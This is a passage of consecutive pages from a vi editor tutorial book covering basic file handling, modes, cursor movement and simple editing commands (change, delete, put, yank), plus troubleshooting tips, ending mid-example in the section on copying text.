    You may have hit the [CAPS LOCK] key without noticing it. vi is case-sensitive. That is, uppercase commands (I, A, J, etc.) are different from lowercase commands (i, a, j), so all your commands are being interpreted not as lowercase but as uppercase commands. Press the [CAPS LOCK] key again to return to lowercase, then type either U to restore the last line changed or u to undo the last command. You'll probably also have to do some additional editing to fully restore the garbled part of your file.

Previous: D.3 Problems Getting to Visual Mode | Learning the vi Editor | Next: D.5 Problems with Deletions
D.3 Problems Getting to Visual Mode | Book Index | D.5 Problems with Deletions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix D] D.5 Problems with Deletions

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: D.4 Problems with vi Commands Appendix D
Problem Checklist

D.5 Problems with Deletions

  • You've deleted the wrong text and you want to get it back.

    There are several ways to recover deleted text. If you've just deleted something and you realize you want it back, simply type u to undo the last command (for example, a dd). This works only if you haven't given any further commands, since u only undoes the most recent command.

    You can still recover a recent deletion, however, by using the p command, since vi saves the last nine deletions in nine numbered deletion buffers. If you know, for example, that the third deletion back is the one you want to restore, type:

    "3p

    to "put" the contents of buffer number 3 on the line below the cursor.

    This works only for a deleted line. Words, or a portion of a line, are not saved in a buffer. If you want to restore a deleted word or line fragment, and u won't work, use the p command by itself. This restores whatever you've last deleted.

Previous: D.4 Problems with vi Commands | Learning the vi Editor
D.4 Problems with vi Commands | Book Index
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] The vi Text Editor

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: What You Need to Know Before Starting Chapter 1 Next: 1.2 Quitting Without Saving Edits

1. The vi Text Editor

Contents:
Opening and Closing Files
Quitting Without Saving Edits

UNIX has a number of editors that can process the contents of text files, whether those files contain data, source code, or sentences. There are line editors, such as ed and ex, which display a line of the file on the screen; and there are screen editors, such as vi and emacs, which display a part of the file on your terminal screen.

vi is the most useful standard text editor on your system. (vi is short for visual editor and is pronounced "vee-eye.") Unlike emacs, it is available in nearly identical form on nearly every UNIX system, thus providing a kind of text-editing lingua franca. The same might be said of ed and ex, but screen editors are generally much easier to use. With a screen editor you can scroll the page, move the cursor, delete lines, insert characters, and more, while seeing the results of your edits as you make them. Screen editors are very popular, since they allow you to make changes as you read through a file, much as you would edit a printed copy, only faster.

To many beginners, vi looks unintuitive and cumbersome - instead of using special control keys for word processing functions and just letting you type normally, it uses all of the regular keyboard keys for issuing commands. When the keyboard keys are issuing commands, vi is said to be in command mode. You must be in a special insert mode before you can type actual text on the screen. In addition, there seem to be so many commands.

Once you start learning, however, you realize that vi is well-designed. You need only a few keystrokes to tell vi to do complex tasks. As you learn vi, you learn shortcuts that transfer more and more of the editing work to the computer - where it belongs.

vi (like any text editor) is not a "what you see is what you get" word processor. If you want to produce formatted documents, you must type in codes that are used by another formatting program to control the appearance of the printed copy. If you want to indent several paragraphs, for instance, you put a code where the indent begins and ends. Formatting codes allow you to experiment with or change the appearance of your printed files, and in many ways, give you much more control over the appearance of your documents than a word processor. UNIX supports the nroff/troff formatting package.

(vi does support some simple formatting mechanisms. For example, you can tell it to automatically wrap when you come to the end of a line, or to automatically indent new lines.)

As with any skill, the more editing you do, the easier the basics become, and the more you can accomplish. Once you are used to all the powers you have while editing with vi, you may never want to return to any "simpler" editor.

What are the components of editing? First, you want to insert text (a forgotten word or a missing sentence), and you want to delete text (a stray character or an entire paragraph). You also need to change letters and words (to correct misspellings or to reflect a change of mind about a term). You might want to move text from one place to another part of your file. And, on occasion, you want to copy text to duplicate it in another part of your file.

Unlike many word processors, vi's command mode is the initial or "default" mode. Complex, interactive edits can be performed with only a few keystrokes. (And to insert raw text, you simply give any of the several "insert" commands and then type away.)

One or two characters are used for the basic commands. For example:

i

insert

cw

change word

Using letters as commands, you can edit a file with great speed. You don't have to memorize banks of function keys or stretch your fingers to reach awkward combinations of keys. Most of the commands can be remembered by the letter that performs them, and nearly all commands follow similar patterns and are related to each other.

In general, vi commands:

  • Are case-sensitive (uppercase and lowercase keystrokes mean different things; I is different from i).

  • Are not shown (or "echoed") on the screen when you type them.

  • Do not require a [RETURN] after the command.

There is also a group of commands that echo on the bottom line of the screen. Bottom-line commands are preceded by different symbols. The slash (/) and the question mark (?) begin search commands, which are discussed in Chapter 3, Moving Around in a Hurry . A colon (:) begins all ex commands. ex commands are those that are used by the ex line editor. The ex editor is available to you when you use vi, because ex is the underlying editor, and vi is really just its "visual" mode. ex commands and concepts are discussed fully in Chapter 5, Introducing the ex Editor , but this chapter introduces you to the ex commands to quit a file without saving edits.

1.1 Opening and Closing Files

You can use vi to edit any text file. vi copies the file to be edited into a buffer (an area temporarily set aside in memory), displays the buffer (though you can see only one screenful at a time), and lets you add, delete and change text. When you save your edits, vi copies the edited buffer back into a permanent file, replacing the old file of the same name. Remember that you are always working on a copy of your file in the buffer, and that your edits will not affect your original file until you save the buffer. Saving your edits is also called "writing the buffer," or more commonly "writing your file."

1.1.1 Opening a File

[v] [i] vi is the UNIX command that invokes the vi editor for an existing file or for a brand new file. The syntax for the vi command is:

$ vi [filename]

The brackets shown on the above command line indicate that the filename is optional. The brackets should not be typed. The $ is the UNIX prompt. If the filename is omitted, vi will open an unnamed buffer. You can assign the name when you write the buffer into a file. For right now, though, let's stick to naming the file on the command line.

A filename must be unique inside its directory. On a System V UNIX system, it cannot exceed 14 characters in length (Berkeley UNIX systems allow much longer names). A filename can include any ASCII character except a slash (/), which is reserved as the separator between files and directories in a pathname. You can even include spaces in a filename by typing a backslash (\) before the space. In practice, though, filenames generally consist of any combination of uppercase and lowercase letters, numbers, and the characters dot (.) and underscore (_). Remember that UNIX is case-sensitive: lowercase letters are distinct from uppercase letters. Also remember that you must press [RETURN] to signal to UNIX that you are finished issuing your command.

When you want to open a new file in a directory, give a new filename with the vi command. For example, if you wanted to open a new file called practice in the current directory, you would enter:

$ vi practice

Since this is a new file, the buffer is empty and the screen appears as follows:

~
~
~
"practice" [New file].

The tildes (~) down the left-hand column of the screen indicate that there is no text in the file, not even blank lines. The prompt line (also called the status line) at the bottom of the screen echoes the name and status of the file.

You can also edit any existing text file in a directory by specifying its filename. Suppose that there is a UNIX file with the pathname /usr/john/letter. If you are already in the /usr/john directory, use the relative pathname. For example:

$ vi letter

brings a copy of the file letter to the screen.

If you are in another directory, give the full pathname to begin editing:

$ vi /usr/john/letter

1.1.2 Problems Opening Files

When you invoke vi, the message[open mode] appears.

Your terminal type is probably incorrectly identified. Quit the editing session immediately by typing :q and ask your system administrator to provide an adequate terminal type setting.

You see one of the following messages:

Visual needs addressable cursor or upline capability
Bad termcap entry
Termcap entry too long
terminal:  Unknown terminal type
Block device required
Not a typewriter

Your terminal type is either undefined, or there's probably something wrong with your termcap or terminfo entry. Enter :q to quit. Then ask your system administrator to select a terminal type for your environment.

A [new file] message appears when you think a file already exists.

You are probably in the wrong directory. Enter :q to quit. Then check to see that you are in the correct directory for that file (enter pwd at the UNIX prompt). If you are in the right directory, check the list of files in the directory (with ls) to see whether the file exists under a slightly different name.

You invoke vi, but you get a colon prompt (indicating that you're in ex line-editing mode).

You probably typed an interrupt before vi could draw the screen. Enter vi by typing vi at the ex prompt (:).

One of the following messages appears:

[Read only]
File is read only
Permission denied

"Read only" means that you can only look at the file; you cannot save any changes you make. You may have invoked vi in view mode (with view or vi -R), or you do not have write permission for the file. See the section "Problems Saving Files" below.

One of the following messages appears:

Bad file number
Block special file
Character special file
Directory
Executable
Non-ascii file
file non-ASCII

The file you've called up to edit is not a regular text file.

When you type :q because of one of the above difficulties, the message appears:

No write since last change (:quit! overrides).

You have modified the file without realizing it. Type :q! to leave vi. Your changes from this session will not be saved in the file.

1.1.3 Saving and Quitting a File

You can quit working on a file at any time, save your edits and return to the UNIX prompt. The vi command to quit and save edits is ZZ. Note that ZZ is capitalized.

Let's assume that you do create a file called practice to practice vi commands, and that you type in six lines of text. To save the file, first check that you are in command mode by pressing [ESC] and then enter ZZ.

Keystrokes Results
ZZ
"practice" [New file] 6 lines, 320 characters

Give the write and save command, ZZ. Your file is saved as a regular UNIX file.

ls
ch01         ch02         practice

Listing the files in the directory shows the new file practice that you created.

You can also save your edits with ex commands. Type :w to save your file but not quit vi; type :q to quit if you haven't made any edits; and type :wq to both quit and save your edits. (:wq is equivalent to ZZ.) We'll explain fully how to use commands in Chapter 5, Introducing the ex Editor; for now, you should just memorize a few commands for writing and saving files.

Previous: What You Need to Know Before Starting | Learning the vi Editor | Next: 1.2 Quitting Without Saving Edits
What You Need to Know Before Starting | Book Index | 1.2 Quitting Without Saving Edits
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.2 Quitting Without Saving Edits

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 1.1 Opening and Closing Files Chapter 1
The vi Text Editor 		Next: 2. Simple Editing

1.2 Quitting Without Saving Edits

When you are first learning vi, especially if you are an intrepid experimenter, there are two other ex commands that are handy for getting out of any mess that you might create.

What if you want to wipe out all of the edits you have made in a session and then return to the original file? The command:

:e! [RETURN]

returns you to the last saved version of the file, so you can start over.

Suppose, however, that you want to wipe out your edits and then just quit vi? The command:

:q! [RETURN]

quits the file you're editing and returns you to the UNIX prompt. With both of these commands, you lose all edits made in the buffer since the last time you saved the file. vi normally won't let you throw away your edits. The exclamation point added to the :e or :q command causes vi to override this prohibition, performing the operation even though the buffer has been modified.

1.2.1 Problems Saving Files

You try to write your file, but you get one of the following messages:

File exists
File file exists - use w!
[Existing file]
File is read only

Type :w! file to overwrite the existing file, or type :w newfile to save the edited version in a new file.

You want to write a file, but you don't have write permission for it. You get the message "Permission denied."

Use :w newfile to write out the buffer into a new file. If you have write permission for the directory, you can use mv to replace the original version with your copy of it. If you don't have write permission for the directory, type :w pathname/file to write out the buffer to a directory in which you do have write permission (such as your home directory).

You try to write your file, but you get a message telling you that the file system is full.

Type :!rm junkfile to delete a (large) unneeded file and free some space. (Starting an ex command with an exclamation point gives you access to UNIX.) Or type :!df to see whether there's any space on another file system. If there is, choose a directory on that file system and write your file to it with :w pathname. (df is the UNIX command to check a disk's free space.)

The system puts you into open mode and tells you that the file system is full.

The disk with vi's temporary files is filled up. Type :!ls\ /tmp to see whether there are any files you can remove to gain some disk space. If there are, create a temporary UNIX shell from which you can remove files or issue other UNIX commands. You can create a shell by typing :sh; type [CTRL-D] or exit to terminate the shell and return to vi. (On a Berkeley UNIX system, you can simply type [CTRL-Z] to suspend vi and return to the UNIX prompt; type % to return to vi.) Once you've freed up some space, write your file with :w!.

You try to write your file, but you get a message telling you that your disk quota has been reached.

Try to force the system to save your buffer with the ex command :pre (short for :preserve). If that doesn't work, look for some files to remove. Use :sh (or [CTRL-Z] if you are using a Berkeley system) to move out of vi and remove files. Use [CTRL-D] (or %) to return to vi when you're done. Then write your file with :w!.

1.2.2 Exercises

The only way to learn vi is to practice. You now know enough to create a new file and to return to the UNIX prompt. Create a file called practice, insert some text, and then save and quit the file.
Open a file called practice in the current directory | vi practice
Insert text | i any text you like
Return to command mode | [ESC]
Quit vi, saving edits | ZZ

Previous: 1.1 Opening and Closing Files | Learning the vi Editor | Next: 2. Simple Editing
1.1 Opening and Closing Files | Book Index | 2. Simple Editing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] Simple Editing

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 1.2 Quitting Without Saving Edits Chapter 2 Next: 2.2 Moving the Cursor

2. Simple Editing

Contents:
vi Commands
Moving the Cursor
Simple Edits
More Ways to Insert Text
Joining Two Lines with J
Review of Basic vi Commands

This chapter introduces you to editing with vi, and it is set up to be read as a tutorial. In it you will learn how to move the cursor and how to make some simple edits. If you've never worked with vi, you should read the entire chapter.

Later chapters show you how to expand your skills to perform faster and more powerful edits. One of the biggest advantages for an adept user of vi is that there are so many options to choose from. (One of the biggest disadvantages for a newcomer to vi is that there are so many different editor commands.)

You can't learn vi by memorizing every single vi command. Start out by learning the basic commands introduced in this chapter. Note the patterns of use that the commands have in common. As you learn vi, be on the lookout for more tasks that you can delegate to the editor, and then find the command that accomplishes it. In later chapters you will learn more advanced features of vi, but before you can handle the advanced, you must master the simple.

This chapter covers:

  • Moving the cursor.

  • Adding and changing text.

  • Deleting, moving, and copying text.

  • More ways to enter insert mode.

2.1 vi Commands

vi has two modes: command mode and insert mode. As soon as you enter a file, you are in command mode, and the editor is waiting for you to enter a command. Commands enable you to move anywhere in the file, to perform edits, or to enter insert mode to add new text. Commands can also be given to exit the file (saving or ignoring your edits) in order to return to the UNIX prompt.

You can think of the different modes as representing two different keyboards. In insert mode, your keyboard functions like a typewriter. In command mode, each key has a new meaning or initiates some instruction.

[i] There are several ways to tell vi that you want to begin insert mode. One of the most common is to press i. The i doesn't appear on the screen, but after you press it, whatever you type will appear on the screen and will be entered into the buffer. The cursor marks the current insertion point. To tell vi that you want to stop inserting text, press [ESC]. Pressing [ESC] moves the cursor back one space (so that it is on the last character you typed) and returns vi to command mode.

For example, suppose you have opened a new file and want to insert the word "introduction". If you type the keystrokes iintroduction, what appears on the screen is:

introduction

When you open a new file, vi starts in command mode and interprets the first keystroke (i) as the insert command. All keystrokes made after the insert command are considered text until you press [ESC]. If you need to correct a mistake while in insert mode, backspace and type over the error. Depending on the type of terminal you are using, backspacing may erase what you've previously typed or may just back up over it. In either case, whatever you back up over will be deleted. Note that you can't use the backspace key to back up beyond the point where you entered insert mode.

vi has an option that lets you define a right margin and provides a carriage return automatically when you reach it. For right now, while you are inserting text, press [RETURN] to break the lines.

Sometimes you don't know whether you are in insert mode or command mode. Whenever vi does not respond as you expect, press [ESC] once or twice to check which mode you are in. When you hear the beep, you are in command mode.

Previous: 1.2 Quitting Without Saving Edits | Learning the vi Editor | Next: 2.2 Moving the Cursor
1.2 Quitting Without Saving Edits | Book Index | 2.2 Moving the Cursor
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.2 Moving the Cursor

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 2.1 vi Commands Chapter 2
Simple Editing 		Next: 2.3 Simple Edits

2.2 Moving the Cursor

You may spend only a small amount of time in an editing session adding new text in insert mode; much of the time you will be making edits to existing text.

In command mode you can position the cursor anywhere in the file. Since you begin all basic edits (changing, deleting, and copying text) by placing the cursor at the text that you want to change, you want to be able to move the cursor to that place as quickly as possible.

There are vi commands to move the cursor:

  • Up, down, left, or right - one character at a time.

  • Forward or backward by blocks of text such as words, sentences, or paragraphs.

  • Forward or backward through a file, one screen at a time.

In Figure 2.1, an underscore marks the present cursor position. Circles show movement of the cursor from its current position to the position that would result from various vi commands.

Figure 2.1: Sample movement commands

2.2.1 Single Movements

The keys h, j, k, and l, right under your fingertips, will move the cursor:

h

left, one space.

j

down, one line.

k

up, one line.

l

right, one space.

You can also use the cursor arrow keys ( <-, -v, [image], ->) or the [RETURN] and [BACKSPACE] keys, but they are out of the way, and the arrow keys are not supported by all terminals. At first, it may seem awkward to use letter keys instead of arrows for cursor movement. After a short while, though, you'll find it is one of the things you'll like best about vi - you can move around without ever taking your fingers off the center of the keyboard.

Before you move the cursor, press [ESC] to make sure that you are in command mode. Use h, j, k, and l to move forward or backward in the file from the current cursor position. When you have gone as far as possible in one direction, you hear a beep and the cursor stops. For example, once you're at the beginning or end of a line, you cannot use h or l to wrap around to the previous or next line; you have to use j or k. Similarly, you cannot move the cursor past a tilde (~) representing a line without text, nor can you move the cursor above the first line of text.

2.2.2 Numeric Arguments

You can precede movement commands with numbers. Figure 2.2 shows how the command 4l moves the cursor four spaces to the right, just as if you had typed l four times (llll).

Figure 2.2: Multiplying commands by numbers

The ability to multiply commands gives you more options and power for each command you learn. Keep it in mind as you are introduced to additional commands.

2.2.3 Movement Within a Line

When you saved the file practice, vi displayed a message telling you how many lines are in that file. A line is not necessarily the same length as the visible line (limited usually to 80 characters) that appears on the screen. A line is any text entered between newlines. (A newline character is inserted into the file when you press the [RETURN] key in insert mode.) If you type 200 characters before pressing [RETURN], vi regards all 200 characters as a single line (even though those 200 characters visibly take up several lines on the screen).

As we mentioned, vi has an option that allows you to set a distance from the right margin at which vi will automatically insert a newline character. This option is wrapmargin (its abbreviation is wm). You can set a wrapmargin at 10 characters by typing:

:set wm=10

This command doesn't affect lines that you've already typed. We'll talk more about setting options in Chapter 7, Advanced Editing . (This one really couldn't wait!)

If you do not use vi's automatic wrapmargin option, you should break lines with carriage returns to keep the lines of manageable length.

[0] Two useful commands that involve movement within a line are:

0

Move to beginning of line.

$

Move to end of line.

In the example below, line numbers are displayed. (Line numbers can be displayed in vi by using the number option, which is enabled by typing :set nu in command mode. This operation is described in Chapter 7, Advanced Editing.)
1  With a screen editor you can scroll the page,
2  move the cursor, delete lines, insert characters,
   and more, while seeing the results of your edits
   as you make them.
3  Screen editors are very popular.
[$] The number of logical lines (3) does not correspond to the number of visible lines (5) that you see on the screen. If the cursor were positioned on the d in the word delete, and you entered $, the cursor would move to the period following the word them. If you entered 0, the cursor would move back to the letter m in the word move, at the beginning of line two.

2.2.4 Movement by Text Blocks

[w] You can also move the cursor by blocks of text: words, sentences, paragraphs, etc.

The w command moves the cursor forward one word at a time, counting symbols and punctuation as equivalent to words. The line below shows cursor movement by w:

cursor, delete lines, insert characters,

You can also move by word, not counting symbols and punctuation, using the W command. (You can think of this as a "large" or "capital" Word.) Cursor movement using W looks like this:

cursor, delete lines, insert characters,

To move backward by word, use the b command. Capital B allows you to move backward by word, not counting punctuation.

As mentioned previously, movement commands take numeric arguments; so, with either the w or b commands you can multiply the movement with numbers. 2w moves forward two words; 5B moves back five words, not counting punctuation.

We'll discuss movement by sentences and by paragraphs in Chapter 3, Moving Around in a Hurry . For now, practice using the cursor movement commands that you know, combining them with numeric multipliers.

Previous: 2.1 vi Commands | Learning the vi Editor | Next: 2.3 Simple Edits
2.1 vi Commands | Book Index | 2.3 Simple Edits
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.3 Simple Edits

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: 2.2 Moving the Cursor Chapter 2
Simple Editing 		Next: 2.4 More Ways to Insert Text

2.3 Simple Edits

When you enter text in your file, it is rarely perfect. You find typos or want to improve on a phrase; sometimes your program has a bug. Once you enter text, you have to be able to change it, delete it, move it, or copy it. Figure 2.3 shows the kinds of edits you might want to make to a file. The edits are indicated by proofreading marks.

Figure 2.3: Proofreading edits

In vi you can perform any of these edits with a few basic keystrokes: i for insert (which you've already seen); a for append; c for change; and d for delete. To move or copy text, you use a pair of commands. You move text with a d for delete, then a p for put; you copy text with a y for "yank," then a p for put. Each type of edit is described in this section. Figure 2.4 shows the vi commands you use to make the edits marked in Figure 2.3.

Figure 2.4: Edits with vi commands

2.3.1 Inserting New Text

You have already seen the insert command used to enter text into a new file. You also use the insert command while editing existing text to add missing characters, words, and sentences. In the file practice, suppose you have the sentence:
you can scroll
the page, move the cursor, delete
lines, and insert characters.
with the cursor positioned as shown. To insert With a screen editor at the beginning of the sentence, enter the following:

Keystrokes Results
2k
you can scroll
the page, move the cursor, delete
lines, and insert characters.

Move the cursor up two lines with the k command, to the line where you want to make the insertion.

iWith a
With a you can scroll
the page, move the cursor, delete
lines, and insert characters.

Press i to enter insert mode and begin inserting text.

screen editor[ESC]
With a screen editor you can scroll
the page, move the cursor, delete
lines, and insert characters.

Finish inserting text, and press ESC to end the insert and return to command mode.

On the screen shown in the example above, vi pushes existing text to the right as the new text is inserted. That is because we are assuming that you are using vi on an "intelligent" terminal that can rewrite the screen with each character you type. An insert on a "dumb" terminal (such as an adm3a) will look different. The terminal itself cannot handle the overhead of updating the screen for each character typed (without a tremendous sacrifice of speed), so the terminal doesn't allow the screen to be rewritten until after you press [ESC]. On a dumb terminal, the same insert would appear:

Keystrokes Result
iWith a
With an scroll
the page, move the cursor, delete
lines, and insert characters.

Press i to enter insert mode and begin inserting text. The dumb terminal appears to overwrite the existing text on the line.

screen editor
With a screen editor
the page, move the cursor, delete
lines, and insert characters.

The insertion appears to have overwritten existing text.

[ESC]
With a screen editor you can scroll
the page, move the cursor, delete
lines, and insert characters.

After you have finished inserting text, press ESC to end the insert and return to command mode. The dumb terminal now rewrites the line, so that you see all existing text.

2.3.2 Appending Text

[a] You can append text at any place in your file with the append command a. a works in almost the same way as i, except that text is inserted after the cursor rather than before the cursor. You may have noticed that when you press i to enter insert mode, the cursor doesn't move until after you enter some text. On the other hand, when you press a to enter insert mode, the cursor moves one space to the right. When you enter text, it appears after the original cursor position.

2.3.3 Changing Text

[c] You can replace any text in your file with the change command, c. In order to tell c how much text to change, you combine c with a movement command. In this way, a movement command serves as a text object for the c command to affect. For example, c can be used to change text from the cursor:

cw

to the end of a word.

c2b

back two words.

c$

to the end of line.

c0

to the beginning of line.

After issuing a change command, you can replace the identified text with any amount of new text, with no characters at all, with one word, or with hundreds of lines. c, like i and a, leaves you in insert mode until you press the [ESC] key.

2.3.3.1 Words

[c] [w] To change a word, combine the c (change) command with w for word. You can replace a word (cw) with a longer or shorter word (or any amount of text). cw can be thought of as "delete the word marked and insert new text until [ESC] is pressed."

Suppose you have the following line in your file practice:

With an editor you can scroll the page,

and want to change an to a screen. You need to change only one word:
Keystrokes Results
w
With an editor you can scroll the page,

Move with w to the place you want the edit to begin.

cw
With a$ editor you can scroll the page,

Give the change word command. The end of the text to be changed will be marked with a $ (dollar sign).

a screen
With a screen editor you can scroll the page,

Type in the replacement text, and then press ESC to return to command mode.

cw also works on a portion of a word. For example, to change spelling to spelled, you can position the cursor on the i, press cw, then type ed.

General Form of vi Commands

In the change commands we've mentioned up to this point, you may have noticed the following pattern:

(command)(text object)

command is the change command c, and text object is a movement command (you don't type the parentheses). But c is not the only command that requires a text object. The d command (delete) and the y command (yank) follow this pattern as well.

Remember also that movement commands take numeric arguments, so numbers can be added to the text objects of c, d, and y commands. For example, d2w or 2dw is a command to delete two words. With this in mind, you can see that most vi commands follow a general pattern:

(command)(number)(text object)

or the equivalent form:

(number)(command)(text object)

Here's how this works. number and command are optional. Without them, you simply have a movement command. If you add a number, you have a multiple movement. On the other hand, combine a command (c, d, or y) with a text object to get an editing command.

When you realize how many combinations are possible in this way, vi becomes a powerful editor indeed!

2.3.3.2 Lines

[c] [c] To replace the entire current line, there is the special change command cc. cc changes an entire line, replacing that line with any amount of text entered before pressing [ESC]. It doesn't matter where the cursor is located on the line; cc replaces the entire line of text.

A command like cw works differently from a command like cc. In using cw, the old text remains until you type over it, and any old text that is left over (up to the $) goes away when you press [ESC]. In using cc, though, the old text is wiped out first, leaving you a blank line on which to insert text.

The "type over" approach happens with any change command that affects less than a whole line, whereas the "blank line" approach happens with any change command that affects one or more lines.

[C] C replaces characters from the current cursor position to the end of the line. It has the same effect as combining c with the special end-of-line indicator $ (c$).

The commands cc and C are really shortcuts for other commands, so they don't follow the general form of vi commands. You'll see other shortcuts when we discuss the delete and yank commands.

2.3.3.3 Characters other

[r] One other replacement edit is given by the r command. r replaces a single character with another single character. You do not have to press [ESC] to return to command mode after making the edit.

There is a misspelling in the line below:
Pith a screen editor you can scroll the page,

Only one letter needs to be corrected. You don't want to use cw in this instance because you would have to retype the entire word. Use r to replace a single character at the cursor:

Keystrokes Results
rW
With a screen editor you can scroll the page,

Give the replace command r, followed by the replacement character W.

2.3.4 Changing Case

[~] Changing the case of a letter is a special form of replacement. The tilde (~) command will change a lowercase letter to uppercase, or an uppercase letter to lowercase. Position the cursor on the letter whose case you want to change, and type a ~. The case of the letter will change, and the cursor will move to the next character. The ~ is unique among vi editing commands because you cannot specify a numeric prefix or text object for it to affect.

If you want to change the case of more than one letter at a time, you must filter the text through a UNIX command like tr, as described in Chapter 7, Advanced Editing.

2.3.5 Deleting Text Chapter

[d] You can also delete any text in your file with the delete command d. Like the change command, the delete command requires a text object (the amount of text to be operated on). You can delete by word (dw), by line (dd and D), or by other movement commands that you will learn later.

With all deletions, you move to where you want the edit to take place, then give the delete command (d) and the text object, such as w for word.

2.3.5.1 Words

[d] [w] Suppose you have the following text in the file practice:
Screen editors are are very popular,
since they allowed you to make
changes as you read through a file.

with the cursor positioned as shown. You want to delete one are in the first line.

Keystrokes Results
2w
Screen editors are are very popular,
since they allowed you to make
changes as you read through a file.

Move the cursor to where you want the edit to begin (are).

dw
Screen editors are very popular,
since they allowed you to make
changes as you read through a file.

Give the delete word command (dw) to delete the word are.

dw deletes a word beginning where the cursor is positioned. Notice that the space following the word is deleted.

dw can also be used to delete a portion of a word. In this example:
since they allowed you to make

you want to delete the ed from the end of allowed.

Keystrokes Results
dw
since they allowyou to make

Give the delete word command (dw) to delete the word, beginning with the position of the cursor.

dw always deletes the space before the next word on a line, but we don't want to do that in the previous example. To retain the space between words, use de, which will delete only to the end of a word. Typing dE will delete to the end of a word, including punctuation.

You can also delete backward (db) or to the end or beginning of a line (d$ or d0).

2.3.5.2 Lines

[d] [d] The dd command deletes the entire line that the cursor is on. dd will not delete part of a line. Like its complement cc, dd is a special command. Using the same text as in the previous example, with the cursor positioned on the first line as shown below:

Screen editors are very popular,
since they allow you to make
changes as you read through a file.

you can delete the first two lines:

Keystrokes Results
2dd
changes as you read through a file.

Give the command to delete two lines (2dd). Note that even though the cursor was not positioned on the beginning of the line, the entire line is deleted.

If you are using a "dumb" terminal, line deletions look different. The dumb terminal will not redraw the screen until you scroll past the bottom of the screen. On a dumb terminal the deletion looks like this:
Keystrokes Results
2dd
@
@
changes as you read through a file.

Give the command to delete two lines (2dd). An @ symbol "holds the place" of the deleted line, until the terminal redraws the entire screen.

[D] The D command deletes from the cursor position to the end of the line. (D is a shortcut for d$.) For example, with the cursor positioned as shown:
Screen editors are very popular,
since they allow you to make
changes as you read through a file.

you can delete the portion of the line to the right of the cursor.

Keystrokes Results
D
Screen editors are very popular,
since they allow you to make
changes

Give the command to delete the portion of the line to the right of the cursor (D).

2.3.5.3 Characters

[x] Often you want to delete only one or two characters. Just as r is a special change command to replace a single character, x is a special delete command to delete a single character. x deletes only the character the cursor is on. In the line below:

zYou can move text by deleting text and then

you can delete the letter z by pressing x. A capital X deletes the character before the cursor. Prefix either of these commands with a number to delete that number of characters. For example, 5x will delete the five characters to the right of the cursor.

2.3.5.4 Problems with Deletions

  • You've deleted the wrong text and you want to get it back.

    There are several ways to recover deleted text. If you've just deleted something and you realize you want it back, simply type u to undo the last command (for example, a dd). This works only if you haven't given any further commands, since u only undoes the most recent command.

    You can still recover a recent deletion, however, by using the p command, since vi saves the last nine deletions in nine numbered deletion buffers. If you know, for example, that the third deletion back is the one you want to restore, type:

    "3p

    to "put" the contents of buffer number 3 on the line below the cursor.

    This works only for a deleted line. Words, or a portion of a line, are not saved in a buffer. If you want to restore a deleted word or line fragment, and u won't work, use the p command by itself. This restores whatever you've last deleted. The next few subsections will talk more about the commands u and p.

2.3.6 Moving Text

In vi, you move text by deleting it and then placing that deleted text elsewhere in the file, like a "cut and paste." Each time you delete a text block, that deletion is temporarily saved in a buffer. Move to another position in your file and use the put command (p) to place that text in the new position. You can move any block of text, although moving is more useful with lines than with words.

[p] The put command (p) puts the text that is in the buffer after the cursor position. The uppercase version of the command, P, puts the text before the cursor. If you delete one or more lines, p puts the deleted text on a new line(s) below the cursor. If you delete less than an entire line, p puts the deleted text on the current line, after the cursor.

Suppose in your file practice you have the text:
You can move text by deleting it and then,
like a "cut and paste",
placing the deleted text elsewhere in the file.
each time you delete a text block.
and want to move the second line, like a "cut and paste", below the third line. Using delete, you can make this edit.
Keystrokes Results
dd
You can move text by deleting it and then,
placing the deleted text elsewhere in the file.
each time you delete a text block.

With the cursor on the second line, delete that line. The text is placed in a buffer (reserved memory).

p
You can move text by deleting it and then,
placing that deleted text elsewhere in the file.
like a "cut and paste",
each time you delete a text block.

Give the put command, p, to restore the deleted line at the next line below the cursor. To finish reordering this sentence, you would also have to change the punctuation (with r) to match the new structure.

NOTE: Once you delete text, you must restore it before the next change command or delete command. If you make another edit that affects the buffer, your deleted text will be lost. You can repeat the put over and over, so long as you don't make a new edit. In Chapter 4, Beyond the Basics , you will learn how to save text you delete in a named buffer so you can retrieve it later.

2.3.6.1 Transposing Two Letters

You can use xp (delete character and put after cursor) to transpose two letters. For example, in the word mvoe, the letters vo are transposed (reversed). To correct a transposition, place the cursor on v and press x, then p. By coincidence, the word transpose helps you remember the sequence xp; x stands for trans, and p stands for pose.

There is no command to transpose words. The section "More Examples of Mapping Keys" in Chapter 7, Advanced Editing, discusses a short sequence of commands that transposes two words.

2.3.7 Copying Text

[y] Often you can save editing time (and keystrokes) by copying a part of your file to use in other places. With the two commands y (for yank) and p (for put), you can copy any amount of text and put that copied text in another place in the file. A yank command copies the selected text into a special buffer, where it is held until another yank (or deletion) occurs. You can then place this copy elsewhere in the file with the put command.

As with change and delete, the yank command can be combined with any movement command (yw, y$, 4yy). Yank is most frequently used with a line (or more) of text, because to yank and put a word usually takes longer than simply to insert the word.

The shortcut yy operates on an entire line, just as dd and cc do. But the shortcut Y, for some reason, does not operate the way D and C do. Instead of yanking from the current position to the end of the line, Y yanks the whole line. Y does the same thing as yy.

Suppose you have in your file practice the text:
With a screen editor you can
